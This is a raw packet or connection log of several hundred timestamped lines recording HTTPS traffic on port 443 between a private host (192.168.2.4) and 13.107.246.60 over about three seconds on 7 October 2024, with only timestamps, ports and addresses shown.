Oct 7, 2024 03:04:25.067049980 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.067445993 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.067460060 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.069739103 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.070024967 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.070084095 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.070401907 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.070415020 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.129329920 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.130206108 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.130305052 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.130542040 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.130557060 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.154840946 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.155356884 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.155467987 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.155766964 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.155852079 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.166574955 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.166773081 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.166847944 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.166930914 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.166930914 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.166961908 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.166987896 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.169581890 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.169621944 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.169859886 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.169859886 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.169889927 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.175859928 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.175916910 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.175990105 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.176081896 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.176081896 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.176126957 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.176153898 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.178308964 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.178320885 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.178375006 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.178487062 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.178493977 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.233212948 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.233614922 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.233722925 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.237960100 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.237986088 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.238017082 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.238030910 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.241010904 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.241100073 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.241215944 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.241343975 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.241369009 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.263014078 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.263047934 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.263101101 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.263189077 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.263190031 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.263331890 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.263331890 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.263374090 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.263428926 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.265594959 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.265680075 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.265772104 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.266043901 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.266129017 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.702287912 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.702727079 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.702802896 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.703186035 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.703198910 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.801868916 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.803518057 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.803607941 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.803622961 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.803687096 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.803741932 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.803783894 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.803813934 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.803828955 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.806433916 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.806525946 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.806637049 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.806792021 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.806826115 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.815116882 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.815506935 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.815527916 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.815932035 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.815937996 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.816787958 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.817028046 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.817039013 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.817343950 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.817348957 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.879107952 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.879986048 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.880067110 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.880810022 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.880825043 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.913311005 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.913491011 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.913630962 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.913793087 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.913809061 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.913820028 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.913825035 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.915582895 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.915816069 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.915887117 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.916373014 CEST	49950	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.916439056 CEST	443	49950	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.916506052 CEST	49950	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.916549921 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.916557074 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.916564941 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.916568995 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.917500019 CEST	49950	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.917520046 CEST	443	49950	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.926141977 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.926214933 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.928817034 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.928987980 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.929029942 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.931885004 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.932221889 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.932243109 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.932626009 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.932636976 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.979100943 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.979130983 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.979175091 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.979196072 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.979260921 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.979439974 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.979439974 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.979484081 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.979511976 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.982207060 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.982276917 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:25.982355118 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.982476950 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:25.982510090 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.070305109 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.070383072 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.070543051 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.070658922 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.070658922 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.070683956 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.070707083 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.073556900 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.073618889 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.073683023 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.073832989 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.073849916 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.737992048 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.740274906 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.740307093 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.740884066 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.740890980 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.742238045 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.742957115 CEST	443	49950	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.743335009 CEST	49950	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.743417978 CEST	443	49950	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.743457079 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.743489981 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.743915081 CEST	49950	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.743927002 CEST	443	49950	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.743966103 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.743974924 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.863831997 CEST	443	49950	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.864370108 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.864521027 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.864584923 CEST	443	49950	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.864629984 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.864712954 CEST	49950	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.864742994 CEST	443	49950	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.864824057 CEST	443	49950	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.864888906 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.864888906 CEST	49950	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.864928007 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.864964962 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.864979029 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.865071058 CEST	49950	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.865082026 CEST	443	49950	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.865107059 CEST	49950	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.865113020 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.865117073 CEST	443	49950	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.866242886 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.866271973 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.866914988 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.866923094 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.868056059 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.868135929 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.868196964 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.868617058 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.868634939 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.868664026 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.868671894 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.868724108 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.868771076 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.868848085 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.869038105 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.869061947 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.869091988 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.869121075 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.869122982 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.869251966 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.869268894 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.871520042 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.871611118 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.871702909 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.871846914 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.871887922 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.963002920 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.967097998 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.967156887 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.967715025 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.967727900 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.974347115 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.974456072 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.974490881 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.974505901 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.974545002 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.974643946 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.974663973 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.974677086 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.974684954 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.977703094 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.977741003 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:26.977814913 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.978008032 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:26.978013992 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.069401979 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.069559097 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.069624901 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.069824934 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.069864035 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.069890976 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.069905996 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.073091030 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.073118925 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.073189974 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.073426962 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.073438883 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.511470079 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.512202024 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.512221098 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.512706041 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.512712955 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.568130970 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.568217993 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.568636894 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.568682909 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.569236994 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.569250107 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.569658041 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.569717884 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.570230961 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.570245981 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.610409021 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.610598087 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.610655069 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.610785007 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.610805988 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.610817909 CEST	49955	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.610824108 CEST	443	49955	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.614645004 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.614722967 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.614732981 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.614815950 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.619904041 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.619921923 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.620493889 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.620498896 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.620999098 CEST	49959	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.621042967 CEST	443	49959	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.672142982 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.672306061 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.672369957 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.672441959 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.672509909 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.672635078 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.672693968 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.672734022 CEST	49956	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.672749996 CEST	443	49956	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.674829006 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.675326109 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.675482035 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.675966024 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.676006079 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.676074982 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.676222086 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.676271915 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.676301003 CEST	49954	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.676316977 CEST	443	49954	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.677647114 CEST	49960	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.677663088 CEST	443	49960	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.679235935 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.679341078 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.679436922 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.679596901 CEST	49961	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.679636955 CEST	443	49961	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.724663973 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.724841118 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.724920034 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.725001097 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.725020885 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.725033998 CEST	49957	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.725039959 CEST	443	49957	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.727765083 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.727848053 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.727952957 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.728107929 CEST	49962	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.728131056 CEST	443	49962	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.741314888 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.741801023 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.741822004 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.742366076 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.742377043 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.850943089 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.851003885 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.851063967 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.851089954 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.851119995 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.851197004 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.851444006 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.851444006 CEST	49958	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:27.851466894 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.851490021 CEST	443	49958	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:27.855087042 CEST	49963	443	192.168.2.4	13.107.246.60
